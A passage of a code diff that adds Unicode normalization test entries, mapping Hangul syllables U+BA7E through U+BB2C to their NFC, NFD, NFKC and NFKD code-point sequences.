+{ source: [0xBA7E], NFC: [0xBA7E], NFD: [0x1106, 0x1167, 0x11B5], NFKC: [0xBA7E], NFKD: [0x1106, 0x1167, 0x11B5] },
+{ source: [0xBA7F], NFC: [0xBA7F], NFD: [0x1106, 0x1167, 0x11B6], NFKC: [0xBA7F], NFKD: [0x1106, 0x1167, 0x11B6] },
+{ source: [0xBA80], NFC: [0xBA80], NFD: [0x1106, 0x1167, 0x11B7], NFKC: [0xBA80], NFKD: [0x1106, 0x1167, 0x11B7] },
+{ source: [0xBA81], NFC: [0xBA81], NFD: [0x1106, 0x1167, 0x11B8], NFKC: [0xBA81], NFKD: [0x1106, 0x1167, 0x11B8] },
+{ source: [0xBA82], NFC: [0xBA82], NFD: [0x1106, 0x1167, 0x11B9], NFKC: [0xBA82], NFKD: [0x1106, 0x1167, 0x11B9] },
+{ source: [0xBA83], NFC: [0xBA83], NFD: [0x1106, 0x1167, 0x11BA], NFKC: [0xBA83], NFKD: [0x1106, 0x1167, 0x11BA] },
+{ source: [0xBA84], NFC: [0xBA84], NFD: [0x1106, 0x1167, 0x11BB], NFKC: [0xBA84], NFKD: [0x1106, 0x1167, 0x11BB] },
+{ source: [0xBA85], NFC: [0xBA85], NFD: [0x1106, 0x1167, 0x11BC], NFKC: [0xBA85], NFKD: [0x1106, 0x1167, 0x11BC] },
+{ source: [0xBA86], NFC: [0xBA86], NFD: [0x1106, 0x1167, 0x11BD], NFKC: [0xBA86], NFKD: [0x1106, 0x1167, 0x11BD] },
+{ source: [0xBA87], NFC: [0xBA87], NFD: [0x1106, 0x1167, 0x11BE], NFKC: [0xBA87], NFKD: [0x1106, 0x1167, 0x11BE] },
+{ source: [0xBA88], NFC: [0xBA88], NFD: [0x1106, 0x1167, 0x11BF], NFKC: [0xBA88], NFKD: [0x1106, 0x1167, 0x11BF] },
+{ source: [0xBA89], NFC: [0xBA89], NFD: [0x1106, 0x1167, 0x11C0], NFKC: [0xBA89], NFKD: [0x1106, 0x1167, 0x11C0] },
+{ source: [0xBA8A], NFC: [0xBA8A], NFD: [0x1106, 0x1167, 0x11C1], NFKC: [0xBA8A], NFKD: [0x1106, 0x1167, 0x11C1] },
+{ source: [0xBA8B], NFC: [0xBA8B], NFD: [0x1106, 0x1167, 0x11C2], NFKC: [0xBA8B], NFKD: [0x1106, 0x1167, 0x11C2] },
+{ source: [0xBA8C], NFC: [0xBA8C], NFD: [0x1106, 0x1168], NFKC: [0xBA8C], NFKD: [0x1106, 0x1168] },
+{ source: [0xBA8D], NFC: [0xBA8D], NFD: [0x1106, 0x1168, 0x11A8], NFKC: [0xBA8D], NFKD: [0x1106, 0x1168, 0x11A8] },
+{ source: [0xBA8E], NFC: [0xBA8E], NFD: [0x1106, 0x1168, 0x11A9], NFKC: [0xBA8E], NFKD: [0x1106, 0x1168, 0x11A9] },
+{ source: [0xBA8F], NFC: [0xBA8F], NFD: [0x1106, 0x1168, 0x11AA], NFKC: [0xBA8F], NFKD: [0x1106, 0x1168, 0x11AA] },
+{ source: [0xBA90], NFC: [0xBA90], NFD: [0x1106, 0x1168, 0x11AB], NFKC: [0xBA90], NFKD: [0x1106, 0x1168, 0x11AB] },
+{ source: [0xBA91], NFC: [0xBA91], NFD: [0x1106, 0x1168, 0x11AC], NFKC: [0xBA91], NFKD: [0x1106, 0x1168, 0x11AC] },
+{ source: [0xBA92], NFC: [0xBA92], NFD: [0x1106, 0x1168, 0x11AD], NFKC: [0xBA92], NFKD: [0x1106, 0x1168, 0x11AD] },
+{ source: [0xBA93], NFC: [0xBA93], NFD: [0x1106, 0x1168, 0x11AE], NFKC: [0xBA93], NFKD: [0x1106, 0x1168, 0x11AE] },
+{ source: [0xBA94], NFC: [0xBA94], NFD: [0x1106, 0x1168, 0x11AF], NFKC: [0xBA94], NFKD: [0x1106, 0x1168, 0x11AF] },
+{ source: [0xBA95], NFC: [0xBA95], NFD: [0x1106, 0x1168, 0x11B0], NFKC: [0xBA95], NFKD: [0x1106, 0x1168, 0x11B0] },
+{ source: [0xBA96], NFC: [0xBA96], NFD: [0x1106, 0x1168, 0x11B1], NFKC: [0xBA96], NFKD: [0x1106, 0x1168, 0x11B1] },
+{ source: [0xBA97], NFC: [0xBA97], NFD: [0x1106, 0x1168, 0x11B2], NFKC: [0xBA97], NFKD: [0x1106, 0x1168, 0x11B2] },
+{ source: [0xBA98], NFC: [0xBA98], NFD: [0x1106, 0x1168, 0x11B3], NFKC: [0xBA98], NFKD: [0x1106, 0x1168, 0x11B3] },
+{ source: [0xBA99], NFC: [0xBA99], NFD: [0x1106, 0x1168, 0x11B4], NFKC: [0xBA99], NFKD: [0x1106, 0x1168, 0x11B4] },
+{ source: [0xBA9A], NFC: [0xBA9A], NFD: [0x1106, 0x1168, 0x11B5], NFKC: [0xBA9A], NFKD: [0x1106, 0x1168, 0x11B5] },
+{ source: [0xBA9B], NFC: [0xBA9B], NFD: [0x1106, 0x1168, 0x11B6], NFKC: [0xBA9B], NFKD: [0x1106, 0x1168, 0x11B6] },
+{ source: [0xBA9C], NFC: [0xBA9C], NFD: [0x1106, 0x1168, 0x11B7], NFKC: [0xBA9C], NFKD: [0x1106, 0x1168, 0x11B7] },
+{ source: [0xBA9D], NFC: [0xBA9D], NFD: [0x1106, 0x1168, 0x11B8], NFKC: [0xBA9D], NFKD: [0x1106, 0x1168, 0x11B8] },
+{ source: [0xBA9E], NFC: [0xBA9E], NFD: [0x1106, 0x1168, 0x11B9], NFKC: [0xBA9E], NFKD: [0x1106, 0x1168, 0x11B9] },
+{ source: [0xBA9F], NFC: [0xBA9F], NFD: [0x1106, 0x1168, 0x11BA], NFKC: [0xBA9F], NFKD: [0x1106, 0x1168, 0x11BA] },
+{ source: [0xBAA0], NFC: [0xBAA0], NFD: [0x1106, 0x1168, 0x11BB], NFKC: [0xBAA0], NFKD: [0x1106, 0x1168, 0x11BB] },
+{ source: [0xBAA1], NFC: [0xBAA1], NFD: [0x1106, 0x1168, 0x11BC], NFKC: [0xBAA1], NFKD: [0x1106, 0x1168, 0x11BC] },
+{ source: [0xBAA2], NFC: [0xBAA2], NFD: [0x1106, 0x1168, 0x11BD], NFKC: [0xBAA2], NFKD: [0x1106, 0x1168, 0x11BD] },
+{ source: [0xBAA3], NFC: [0xBAA3], NFD: [0x1106, 0x1168, 0x11BE], NFKC: [0xBAA3], NFKD: [0x1106, 0x1168, 0x11BE] },
+{ source: [0xBAA4], NFC: [0xBAA4], NFD: [0x1106, 0x1168, 0x11BF], NFKC: [0xBAA4], NFKD: [0x1106, 0x1168, 0x11BF] },
+{ source: [0xBAA5], NFC: [0xBAA5], NFD: [0x1106, 0x1168, 0x11C0], NFKC: [0xBAA5], NFKD: [0x1106, 0x1168, 0x11C0] },
+{ source: [0xBAA6], NFC: [0xBAA6], NFD: [0x1106, 0x1168, 0x11C1], NFKC: [0xBAA6], NFKD: [0x1106, 0x1168, 0x11C1] },
+{ source: [0xBAA7], NFC: [0xBAA7], NFD: [0x1106, 0x1168, 0x11C2], NFKC: [0xBAA7], NFKD: [0x1106, 0x1168, 0x11C2] },
+{ source: [0xBAA8], NFC: [0xBAA8], NFD: [0x1106, 0x1169], NFKC: [0xBAA8], NFKD: [0x1106, 0x1169] },
+{ source: [0xBAA9], NFC: [0xBAA9], NFD: [0x1106, 0x1169, 0x11A8], NFKC: [0xBAA9], NFKD: [0x1106, 0x1169, 0x11A8] },
+{ source: [0xBAAA], NFC: [0xBAAA], NFD: [0x1106, 0x1169, 0x11A9], NFKC: [0xBAAA], NFKD: [0x1106, 0x1169, 0x11A9] },
+{ source: [0xBAAB], NFC: [0xBAAB], NFD: [0x1106, 0x1169, 0x11AA], NFKC: [0xBAAB], NFKD: [0x1106, 0x1169, 0x11AA] },
+{ source: [0xBAAC], NFC: [0xBAAC], NFD: [0x1106, 0x1169, 0x11AB], NFKC: [0xBAAC], NFKD: [0x1106, 0x1169, 0x11AB] },
+{ source: [0xBAAD], NFC: [0xBAAD], NFD: [0x1106, 0x1169, 0x11AC], NFKC: [0xBAAD], NFKD: [0x1106, 0x1169, 0x11AC] },
+{ source: [0xBAAE], NFC: [0xBAAE], NFD: [0x1106, 0x1169, 0x11AD], NFKC: [0xBAAE], NFKD: [0x1106, 0x1169, 0x11AD] },
+{ source: [0xBAAF], NFC: [0xBAAF], NFD: [0x1106, 0x1169, 0x11AE], NFKC: [0xBAAF], NFKD: [0x1106, 0x1169, 0x11AE] },
+{ source: [0xBAB0], NFC: [0xBAB0], NFD: [0x1106, 0x1169, 0x11AF], NFKC: [0xBAB0], NFKD: [0x1106, 0x1169, 0x11AF] },
+{ source: [0xBAB1], NFC: [0xBAB1], NFD: [0x1106, 0x1169, 0x11B0], NFKC: [0xBAB1], NFKD: [0x1106, 0x1169, 0x11B0] },
+{ source: [0xBAB2], NFC: [0xBAB2], NFD: [0x1106, 0x1169, 0x11B1], NFKC: [0xBAB2], NFKD: [0x1106, 0x1169, 0x11B1] },
+{ source: [0xBAB3], NFC: [0xBAB3], NFD: [0x1106, 0x1169, 0x11B2], NFKC: [0xBAB3], NFKD: [0x1106, 0x1169, 0x11B2] },
+{ source: [0xBAB4], NFC: [0xBAB4], NFD: [0x1106, 0x1169, 0x11B3], NFKC: [0xBAB4], NFKD: [0x1106, 0x1169, 0x11B3] },
+{ source: [0xBAB5], NFC: [0xBAB5], NFD: [0x1106, 0x1169, 0x11B4], NFKC: [0xBAB5], NFKD: [0x1106, 0x1169, 0x11B4] },
+{ source: [0xBAB6], NFC: [0xBAB6], NFD: [0x1106, 0x1169, 0x11B5], NFKC: [0xBAB6], NFKD: [0x1106, 0x1169, 0x11B5] },
+{ source: [0xBAB7], NFC: [0xBAB7], NFD: [0x1106, 0x1169, 0x11B6], NFKC: [0xBAB7], NFKD: [0x1106, 0x1169, 0x11B6] },
+{ source: [0xBAB8], NFC: [0xBAB8], NFD: [0x1106, 0x1169, 0x11B7], NFKC: [0xBAB8], NFKD: [0x1106, 0x1169, 0x11B7] },
+{ source: [0xBAB9], NFC: [0xBAB9], NFD: [0x1106, 0x1169, 0x11B8], NFKC: [0xBAB9], NFKD: [0x1106, 0x1169, 0x11B8] },
+{ source: [0xBABA], NFC: [0xBABA], NFD: [0x1106, 0x1169, 0x11B9], NFKC: [0xBABA], NFKD: [0x1106, 0x1169, 0x11B9] },
+{ source: [0xBABB], NFC: [0xBABB], NFD: [0x1106, 0x1169, 0x11BA], NFKC: [0xBABB], NFKD: [0x1106, 0x1169, 0x11BA] },
+{ source: [0xBABC], NFC: [0xBABC], NFD: [0x1106, 0x1169, 0x11BB], NFKC: [0xBABC], NFKD: [0x1106, 0x1169, 0x11BB] },
+{ source: [0xBABD], NFC: [0xBABD], NFD: [0x1106, 0x1169, 0x11BC], NFKC: [0xBABD], NFKD: [0x1106, 0x1169, 0x11BC] },
+{ source: [0xBABE], NFC: [0xBABE], NFD: [0x1106, 0x1169, 0x11BD], NFKC: [0xBABE], NFKD: [0x1106, 0x1169, 0x11BD] },
+{ source: [0xBABF], NFC: [0xBABF], NFD: [0x1106, 0x1169, 0x11BE], NFKC: [0xBABF], NFKD: [0x1106, 0x1169, 0x11BE] },
+{ source: [0xBAC0], NFC: [0xBAC0], NFD: [0x1106, 0x1169, 0x11BF], NFKC: [0xBAC0], NFKD: [0x1106, 0x1169, 0x11BF] },
+{ source: [0xBAC1], NFC: [0xBAC1], NFD: [0x1106, 0x1169, 0x11C0], NFKC: [0xBAC1], NFKD: [0x1106, 0x1169, 0x11C0] },
+{ source: [0xBAC2], NFC: [0xBAC2], NFD: [0x1106, 0x1169, 0x11C1], NFKC: [0xBAC2], NFKD: [0x1106, 0x1169, 0x11C1] },
+{ source: [0xBAC3], NFC: [0xBAC3], NFD: [0x1106, 0x1169, 0x11C2], NFKC: [0xBAC3], NFKD: [0x1106, 0x1169, 0x11C2] },
+{ source: [0xBAC4], NFC: [0xBAC4], NFD: [0x1106, 0x116A], NFKC: [0xBAC4], NFKD: [0x1106, 0x116A] },
+{ source: [0xBAC5], NFC: [0xBAC5], NFD: [0x1106, 0x116A, 0x11A8], NFKC: [0xBAC5], NFKD: [0x1106, 0x116A, 0x11A8] },
+{ source: [0xBAC6], NFC: [0xBAC6], NFD: [0x1106, 0x116A, 0x11A9], NFKC: [0xBAC6], NFKD: [0x1106, 0x116A, 0x11A9] },
+{ source: [0xBAC7], NFC: [0xBAC7], NFD: [0x1106, 0x116A, 0x11AA], NFKC: [0xBAC7], NFKD: [0x1106, 0x116A, 0x11AA] },
+{ source: [0xBAC8], NFC: [0xBAC8], NFD: [0x1106, 0x116A, 0x11AB], NFKC: [0xBAC8], NFKD: [0x1106, 0x116A, 0x11AB] },
+{ source: [0xBAC9], NFC: [0xBAC9], NFD: [0x1106, 0x116A, 0x11AC], NFKC: [0xBAC9], NFKD: [0x1106, 0x116A, 0x11AC] },
+{ source: [0xBACA], NFC: [0xBACA], NFD: [0x1106, 0x116A, 0x11AD], NFKC: [0xBACA], NFKD: [0x1106, 0x116A, 0x11AD] },
+{ source: [0xBACB], NFC: [0xBACB], NFD: [0x1106, 0x116A, 0x11AE], NFKC: [0xBACB], NFKD: [0x1106, 0x116A, 0x11AE] },
+{ source: [0xBACC], NFC: [0xBACC], NFD: [0x1106, 0x116A, 0x11AF], NFKC: [0xBACC], NFKD: [0x1106, 0x116A, 0x11AF] },
+{ source: [0xBACD], NFC: [0xBACD], NFD: [0x1106, 0x116A, 0x11B0], NFKC: [0xBACD], NFKD: [0x1106, 0x116A, 0x11B0] },
+{ source: [0xBACE], NFC: [0xBACE], NFD: [0x1106, 0x116A, 0x11B1], NFKC: [0xBACE], NFKD: [0x1106, 0x116A, 0x11B1] },
+{ source: [0xBACF], NFC: [0xBACF], NFD: [0x1106, 0x116A, 0x11B2], NFKC: [0xBACF], NFKD: [0x1106, 0x116A, 0x11B2] },
+{ source: [0xBAD0], NFC: [0xBAD0], NFD: [0x1106, 0x116A, 0x11B3], NFKC: [0xBAD0], NFKD: [0x1106, 0x116A, 0x11B3] },
+{ source: [0xBAD1], NFC: [0xBAD1], NFD: [0x1106, 0x116A, 0x11B4], NFKC: [0xBAD1], NFKD: [0x1106, 0x116A, 0x11B4] },
+{ source: [0xBAD2], NFC: [0xBAD2], NFD: [0x1106, 0x116A, 0x11B5], NFKC: [0xBAD2], NFKD: [0x1106, 0x116A, 0x11B5] },
+{ source: [0xBAD3], NFC: [0xBAD3], NFD: [0x1106, 0x116A, 0x11B6], NFKC: [0xBAD3], NFKD: [0x1106, 0x116A, 0x11B6] },
+{ source: [0xBAD4], NFC: [0xBAD4], NFD: [0x1106, 0x116A, 0x11B7], NFKC: [0xBAD4], NFKD: [0x1106, 0x116A, 0x11B7] },
+{ source: [0xBAD5], NFC: [0xBAD5], NFD: [0x1106, 0x116A, 0x11B8], NFKC: [0xBAD5], NFKD: [0x1106, 0x116A, 0x11B8] },
+{ source: [0xBAD6], NFC: [0xBAD6], NFD: [0x1106, 0x116A, 0x11B9], NFKC: [0xBAD6], NFKD: [0x1106, 0x116A, 0x11B9] },
+{ source: [0xBAD7], NFC: [0xBAD7], NFD: [0x1106, 0x116A, 0x11BA], NFKC: [0xBAD7], NFKD: [0x1106, 0x116A, 0x11BA] },
+{ source: [0xBAD8], NFC: [0xBAD8], NFD: [0x1106, 0x116A, 0x11BB], NFKC: [0xBAD8], NFKD: [0x1106, 0x116A, 0x11BB] },
+{ source: [0xBAD9], NFC: [0xBAD9], NFD: [0x1106, 0x116A, 0x11BC], NFKC: [0xBAD9], NFKD: [0x1106, 0x116A, 0x11BC] },
+{ source: [0xBADA], NFC: [0xBADA], NFD: [0x1106, 0x116A, 0x11BD], NFKC: [0xBADA], NFKD: [0x1106, 0x116A, 0x11BD] },
+{ source: [0xBADB], NFC: [0xBADB], NFD: [0x1106, 0x116A, 0x11BE], NFKC: [0xBADB], NFKD: [0x1106, 0x116A, 0x11BE] },
+{ source: [0xBADC], NFC: [0xBADC], NFD: [0x1106, 0x116A, 0x11BF], NFKC: [0xBADC], NFKD: [0x1106, 0x116A, 0x11BF] },
+{ source: [0xBADD], NFC: [0xBADD], NFD: [0x1106, 0x116A, 0x11C0], NFKC: [0xBADD], NFKD: [0x1106, 0x116A, 0x11C0] },
+{ source: [0xBADE], NFC: [0xBADE], NFD: [0x1106, 0x116A, 0x11C1], NFKC: [0xBADE], NFKD: [0x1106, 0x116A, 0x11C1] },
+{ source: [0xBADF], NFC: [0xBADF], NFD: [0x1106, 0x116A, 0x11C2], NFKC: [0xBADF], NFKD: [0x1106, 0x116A, 0x11C2] },
+{ source: [0xBAE0], NFC: [0xBAE0], NFD: [0x1106, 0x116B], NFKC: [0xBAE0], NFKD: [0x1106, 0x116B] },
+{ source: [0xBAE1], NFC: [0xBAE1], NFD: [0x1106, 0x116B, 0x11A8], NFKC: [0xBAE1], NFKD: [0x1106, 0x116B, 0x11A8] },
+{ source: [0xBAE2], NFC: [0xBAE2], NFD: [0x1106, 0x116B, 0x11A9], NFKC: [0xBAE2], NFKD: [0x1106, 0x116B, 0x11A9] },
+{ source: [0xBAE3], NFC: [0xBAE3], NFD: [0x1106, 0x116B, 0x11AA], NFKC: [0xBAE3], NFKD: [0x1106, 0x116B, 0x11AA] },
+{ source: [0xBAE4], NFC: [0xBAE4], NFD: [0x1106, 0x116B, 0x11AB], NFKC: [0xBAE4], NFKD: [0x1106, 0x116B, 0x11AB] },
+{ source: [0xBAE5], NFC: [0xBAE5], NFD: [0x1106, 0x116B, 0x11AC], NFKC: [0xBAE5], NFKD: [0x1106, 0x116B, 0x11AC] },
+{ source: [0xBAE6], NFC: [0xBAE6], NFD: [0x1106, 0x116B, 0x11AD], NFKC: [0xBAE6], NFKD: [0x1106, 0x116B, 0x11AD] },
+{ source: [0xBAE7], NFC: [0xBAE7], NFD: [0x1106, 0x116B, 0x11AE], NFKC: [0xBAE7], NFKD: [0x1106, 0x116B, 0x11AE] },
+{ source: [0xBAE8], NFC: [0xBAE8], NFD: [0x1106, 0x116B, 0x11AF], NFKC: [0xBAE8], NFKD: [0x1106, 0x116B, 0x11AF] },
+{ source: [0xBAE9], NFC: [0xBAE9], NFD: [0x1106, 0x116B, 0x11B0], NFKC: [0xBAE9], NFKD: [0x1106, 0x116B, 0x11B0] },
+{ source: [0xBAEA], NFC: [0xBAEA], NFD: [0x1106, 0x116B, 0x11B1], NFKC: [0xBAEA], NFKD: [0x1106, 0x116B, 0x11B1] },
+{ source: [0xBAEB], NFC: [0xBAEB], NFD: [0x1106, 0x116B, 0x11B2], NFKC: [0xBAEB], NFKD: [0x1106, 0x116B, 0x11B2] },
+{ source: [0xBAEC], NFC: [0xBAEC], NFD: [0x1106, 0x116B, 0x11B3], NFKC: [0xBAEC], NFKD: [0x1106, 0x116B, 0x11B3] },
+{ source: [0xBAED], NFC: [0xBAED], NFD: [0x1106, 0x116B, 0x11B4], NFKC: [0xBAED], NFKD: [0x1106, 0x116B, 0x11B4] },
+{ source: [0xBAEE], NFC: [0xBAEE], NFD: [0x1106, 0x116B, 0x11B5], NFKC: [0xBAEE], NFKD: [0x1106, 0x116B, 0x11B5] },
+{ source: [0xBAEF], NFC: [0xBAEF], NFD: [0x1106, 0x116B, 0x11B6], NFKC: [0xBAEF], NFKD: [0x1106, 0x116B, 0x11B6] },
+{ source: [0xBAF0], NFC: [0xBAF0], NFD: [0x1106, 0x116B, 0x11B7], NFKC: [0xBAF0], NFKD: [0x1106, 0x116B, 0x11B7] },
+{ source: [0xBAF1], NFC: [0xBAF1], NFD: [0x1106, 0x116B, 0x11B8], NFKC: [0xBAF1], NFKD: [0x1106, 0x116B, 0x11B8] },
+{ source: [0xBAF2], NFC: [0xBAF2], NFD: [0x1106, 0x116B, 0x11B9], NFKC: [0xBAF2], NFKD: [0x1106, 0x116B, 0x11B9] },
+{ source: [0xBAF3], NFC: [0xBAF3], NFD: [0x1106, 0x116B, 0x11BA], NFKC: [0xBAF3], NFKD: [0x1106, 0x116B, 0x11BA] },
+{ source: [0xBAF4], NFC: [0xBAF4], NFD: [0x1106, 0x116B, 0x11BB], NFKC: [0xBAF4], NFKD: [0x1106, 0x116B, 0x11BB] },
+{ source: [0xBAF5], NFC: [0xBAF5], NFD: [0x1106, 0x116B, 0x11BC], NFKC: [0xBAF5], NFKD: [0x1106, 0x116B, 0x11BC] },
+{ source: [0xBAF6], NFC: [0xBAF6], NFD: [0x1106, 0x116B, 0x11BD], NFKC: [0xBAF6], NFKD: [0x1106, 0x116B, 0x11BD] },
+{ source: [0xBAF7], NFC: [0xBAF7], NFD: [0x1106, 0x116B, 0x11BE], NFKC: [0xBAF7], NFKD: [0x1106, 0x116B, 0x11BE] },
+{ source: [0xBAF8], NFC: [0xBAF8], NFD: [0x1106, 0x116B, 0x11BF], NFKC: [0xBAF8], NFKD: [0x1106, 0x116B, 0x11BF] },
+{ source: [0xBAF9], NFC: [0xBAF9], NFD: [0x1106, 0x116B, 0x11C0], NFKC: [0xBAF9], NFKD: [0x1106, 0x116B, 0x11C0] },
+{ source: [0xBAFA], NFC: [0xBAFA], NFD: [0x1106, 0x116B, 0x11C1], NFKC: [0xBAFA], NFKD: [0x1106, 0x116B, 0x11C1] },
+{ source: [0xBAFB], NFC: [0xBAFB], NFD: [0x1106, 0x116B, 0x11C2], NFKC: [0xBAFB], NFKD: [0x1106, 0x116B, 0x11C2] },
+{ source: [0xBAFC], NFC: [0xBAFC], NFD: [0x1106, 0x116C], NFKC: [0xBAFC], NFKD: [0x1106, 0x116C] },
+{ source: [0xBAFD], NFC: [0xBAFD], NFD: [0x1106, 0x116C, 0x11A8], NFKC: [0xBAFD], NFKD: [0x1106, 0x116C, 0x11A8] },
+{ source: [0xBAFE], NFC: [0xBAFE], NFD: [0x1106, 0x116C, 0x11A9], NFKC: [0xBAFE], NFKD: [0x1106, 0x116C, 0x11A9] },
+{ source: [0xBAFF], NFC: [0xBAFF], NFD: [0x1106, 0x116C, 0x11AA], NFKC: [0xBAFF], NFKD: [0x1106, 0x116C, 0x11AA] },
+{ source: [0xBB00], NFC: [0xBB00], NFD: [0x1106, 0x116C, 0x11AB], NFKC: [0xBB00], NFKD: [0x1106, 0x116C, 0x11AB] },
+{ source: [0xBB01], NFC: [0xBB01], NFD: [0x1106, 0x116C, 0x11AC], NFKC: [0xBB01], NFKD: [0x1106, 0x116C, 0x11AC] },
+{ source: [0xBB02], NFC: [0xBB02], NFD: [0x1106, 0x116C, 0x11AD], NFKC: [0xBB02], NFKD: [0x1106, 0x116C, 0x11AD] },
+{ source: [0xBB03], NFC: [0xBB03], NFD: [0x1106, 0x116C, 0x11AE], NFKC: [0xBB03], NFKD: [0x1106, 0x116C, 0x11AE] },
+{ source: [0xBB04], NFC: [0xBB04], NFD: [0x1106, 0x116C, 0x11AF], NFKC: [0xBB04], NFKD: [0x1106, 0x116C, 0x11AF] },
+{ source: [0xBB05], NFC: [0xBB05], NFD: [0x1106, 0x116C, 0x11B0], NFKC: [0xBB05], NFKD: [0x1106, 0x116C, 0x11B0] },
+{ source: [0xBB06], NFC: [0xBB06], NFD: [0x1106, 0x116C, 0x11B1], NFKC: [0xBB06], NFKD: [0x1106, 0x116C, 0x11B1] },
+{ source: [0xBB07], NFC: [0xBB07], NFD: [0x1106, 0x116C, 0x11B2], NFKC: [0xBB07], NFKD: [0x1106, 0x116C, 0x11B2] },
+{ source: [0xBB08], NFC: [0xBB08], NFD: [0x1106, 0x116C, 0x11B3], NFKC: [0xBB08], NFKD: [0x1106, 0x116C, 0x11B3] },
+{ source: [0xBB09], NFC: [0xBB09], NFD: [0x1106, 0x116C, 0x11B4], NFKC: [0xBB09], NFKD: [0x1106, 0x116C, 0x11B4] },
+{ source: [0xBB0A], NFC: [0xBB0A], NFD: [0x1106, 0x116C, 0x11B5], NFKC: [0xBB0A], NFKD: [0x1106, 0x116C, 0x11B5] },
+{ source: [0xBB0B], NFC: [0xBB0B], NFD: [0x1106, 0x116C, 0x11B6], NFKC: [0xBB0B], NFKD: [0x1106, 0x116C, 0x11B6] },
+{ source: [0xBB0C], NFC: [0xBB0C], NFD: [0x1106, 0x116C, 0x11B7], NFKC: [0xBB0C], NFKD: [0x1106, 0x116C, 0x11B7] },
+{ source: [0xBB0D], NFC: [0xBB0D], NFD: [0x1106, 0x116C, 0x11B8], NFKC: [0xBB0D], NFKD: [0x1106, 0x116C, 0x11B8] },
+{ source: [0xBB0E], NFC: [0xBB0E], NFD: [0x1106, 0x116C, 0x11B9], NFKC: [0xBB0E], NFKD: [0x1106, 0x116C, 0x11B9] },
+{ source: [0xBB0F], NFC: [0xBB0F], NFD: [0x1106, 0x116C, 0x11BA], NFKC: [0xBB0F], NFKD: [0x1106, 0x116C, 0x11BA] },
+{ source: [0xBB10], NFC: [0xBB10], NFD: [0x1106, 0x116C, 0x11BB], NFKC: [0xBB10], NFKD: [0x1106, 0x116C, 0x11BB] },
+{ source: [0xBB11], NFC: [0xBB11], NFD: [0x1106, 0x116C, 0x11BC], NFKC: [0xBB11], NFKD: [0x1106, 0x116C, 0x11BC] },
+{ source: [0xBB12], NFC: [0xBB12], NFD: [0x1106, 0x116C, 0x11BD], NFKC: [0xBB12], NFKD: [0x1106, 0x116C, 0x11BD] },
+{ source: [0xBB13], NFC: [0xBB13], NFD: [0x1106, 0x116C, 0x11BE], NFKC: [0xBB13], NFKD: [0x1106, 0x116C, 0x11BE] },
+{ source: [0xBB14], NFC: [0xBB14], NFD: [0x1106, 0x116C, 0x11BF], NFKC: [0xBB14], NFKD: [0x1106, 0x116C, 0x11BF] },
+{ source: [0xBB15], NFC: [0xBB15], NFD: [0x1106, 0x116C, 0x11C0], NFKC: [0xBB15], NFKD: [0x1106, 0x116C, 0x11C0] },
+{ source: [0xBB16], NFC: [0xBB16], NFD: [0x1106, 0x116C, 0x11C1], NFKC: [0xBB16], NFKD: [0x1106, 0x116C, 0x11C1] },
+{ source: [0xBB17], NFC: [0xBB17], NFD: [0x1106, 0x116C, 0x11C2], NFKC: [0xBB17], NFKD: [0x1106, 0x116C, 0x11C2] },
+{ source: [0xBB18], NFC: [0xBB18], NFD: [0x1106, 0x116D], NFKC: [0xBB18], NFKD: [0x1106, 0x116D] },
+{ source: [0xBB19], NFC: [0xBB19], NFD: [0x1106, 0x116D, 0x11A8], NFKC: [0xBB19], NFKD: [0x1106, 0x116D, 0x11A8] },
+{ source: [0xBB1A], NFC: [0xBB1A], NFD: [0x1106, 0x116D, 0x11A9], NFKC: [0xBB1A], NFKD: [0x1106, 0x116D, 0x11A9] },
+{ source: [0xBB1B], NFC: [0xBB1B], NFD: [0x1106, 0x116D, 0x11AA], NFKC: [0xBB1B], NFKD: [0x1106, 0x116D, 0x11AA] },
+{ source: [0xBB1C], NFC: [0xBB1C], NFD: [0x1106, 0x116D, 0x11AB], NFKC: [0xBB1C], NFKD: [0x1106, 0x116D, 0x11AB] },
+{ source: [0xBB1D], NFC: [0xBB1D], NFD: [0x1106, 0x116D, 0x11AC], NFKC: [0xBB1D], NFKD: [0x1106, 0x116D, 0x11AC] },
+{ source: [0xBB1E], NFC: [0xBB1E], NFD: [0x1106, 0x116D, 0x11AD], NFKC: [0xBB1E], NFKD: [0x1106, 0x116D, 0x11AD] },
+{ source: [0xBB1F], NFC: [0xBB1F], NFD: [0x1106, 0x116D, 0x11AE], NFKC: [0xBB1F], NFKD: [0x1106, 0x116D, 0x11AE] },
+{ source: [0xBB20], NFC: [0xBB20], NFD: [0x1106, 0x116D, 0x11AF], NFKC: [0xBB20], NFKD: [0x1106, 0x116D, 0x11AF] },
+{ source: [0xBB21], NFC: [0xBB21], NFD: [0x1106, 0x116D, 0x11B0], NFKC: [0xBB21], NFKD: [0x1106, 0x116D, 0x11B0] },
+{ source: [0xBB22], NFC: [0xBB22], NFD: [0x1106, 0x116D, 0x11B1], NFKC: [0xBB22], NFKD: [0x1106, 0x116D, 0x11B1] },
+{ source: [0xBB23], NFC: [0xBB23], NFD: [0x1106, 0x116D, 0x11B2], NFKC: [0xBB23], NFKD: [0x1106, 0x116D, 0x11B2] },
+{ source: [0xBB24], NFC: [0xBB24], NFD: [0x1106, 0x116D, 0x11B3], NFKC: [0xBB24], NFKD: [0x1106, 0x116D, 0x11B3] },
+{ source: [0xBB25], NFC: [0xBB25], NFD: [0x1106, 0x116D, 0x11B4], NFKC: [0xBB25], NFKD: [0x1106, 0x116D, 0x11B4] },
+{ source: [0xBB26], NFC: [0xBB26], NFD: [0x1106, 0x116D, 0x11B5], NFKC: [0xBB26], NFKD: [0x1106, 0x116D, 0x11B5] },
+{ source: [0xBB27], NFC: [0xBB27], NFD: [0x1106, 0x116D, 0x11B6], NFKC: [0xBB27], NFKD: [0x1106, 0x116D, 0x11B6] },
+{ source: [0xBB28], NFC: [0xBB28], NFD: [0x1106, 0x116D, 0x11B7], NFKC: [0xBB28], NFKD: [0x1106, 0x116D, 0x11B7] },
+{ source: [0xBB29], NFC: [0xBB29], NFD: [0x1106, 0x116D, 0x11B8], NFKC: [0xBB29], NFKD: [0x1106, 0x116D, 0x11B8] },
+{ source: [0xBB2A], NFC: [0xBB2A], NFD: [0x1106, 0x116D, 0x11B9], NFKC: [0xBB2A], NFKD: [0x1106, 0x116D, 0x11B9] },
+{ source: [0xBB2B], NFC: [0xBB2B], NFD: [0x1106, 0x116D, 0x11BA], NFKC: [0xBB2B], NFKD: [0x1106, 0x116D, 0x11BA] },
+{ source: [0xBB2C], NFC: [0xBB2C], NFD: [0x1106, 0x116D, 0x11BB], NFKC: [0xBB2C], NFKD: [0x1106, 0x116D, 0x11BB] },
